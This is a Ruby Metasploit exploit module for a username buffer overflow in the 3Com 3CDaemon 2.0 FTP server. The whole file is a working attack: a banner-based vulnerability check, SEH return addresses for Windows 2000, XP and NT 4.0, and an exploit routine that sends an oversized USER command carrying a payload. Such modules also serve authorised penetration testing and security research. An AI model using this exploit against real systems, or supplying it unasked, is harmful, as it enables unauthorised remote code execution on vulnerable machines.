require 'msf/core/exploit/ftp'

module Msf

class Exploits::Windows::Ftp::ThreeCeeDaemonFTPUserOverflow < Msf::Exploit::Remote

	include Exploit::Remote::Ftp
	include Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => '3Com 3CDaemon 2.0 FTP Username Overflow',
			'Description'    => %q{
				This module exploits a vulnerability in the 3Com 3CDaemon
				FTP service. This package is being distributed from the 3Com
				web site and is recommended in numerous support documents.
				This module uses the USER command to trigger the overflow.
					
			},
			'Author'         => [ 'hdm' ],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'OSVDB', '12810'],
					[ 'OSVDB', '12811'],
					[ 'BID', '12155'],
					[ 'URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'],
					[ 'MIL', '1'],

				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 674,
					'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",
					'StackAdjustment' => -3500,
					'Compat'   =>
						{
							'ConnectionType' => "-find"
						}

				},
			'Targets'        => 
				[
					[ 
						'Windows 2000 English', # Tested OK - hdm 11/24/2005
						{
							'Platform' => 'win',
							'Ret'      => 0x75022ac4, # ws2help.dll
						},
					],
					[
						'Windows XP English SP0/SP1',
						{
							'Platform' => 'win',
							'Ret'      => 0x71aa32ad, # ws2help.dll
						},
					],
					[
						'Windows NT 4.0 SP4/SP5/SP6',
						{
							'Platform' => 'win',
							'Ret'      => 0x77681799, # ws2help.dll
						},												
					],
				],
			'DisclosureDate' => 'Jan 4 2005'))
	end

	def check
		connect
		disconnect	
		if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)
			return Exploit::CheckCode::Vulnerable
		end		
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect
		
		print_status("Trying target #{target.name}...")

		buf          = Rex::Text.rand_text_english(2048, payload_badchars)
		seh          = generate_seh_payload(target.ret) 
		buf[229, seh.length] = seh

		send_cmd( ['USER', buf] , true )

		disconnect

		handler
	end

end
end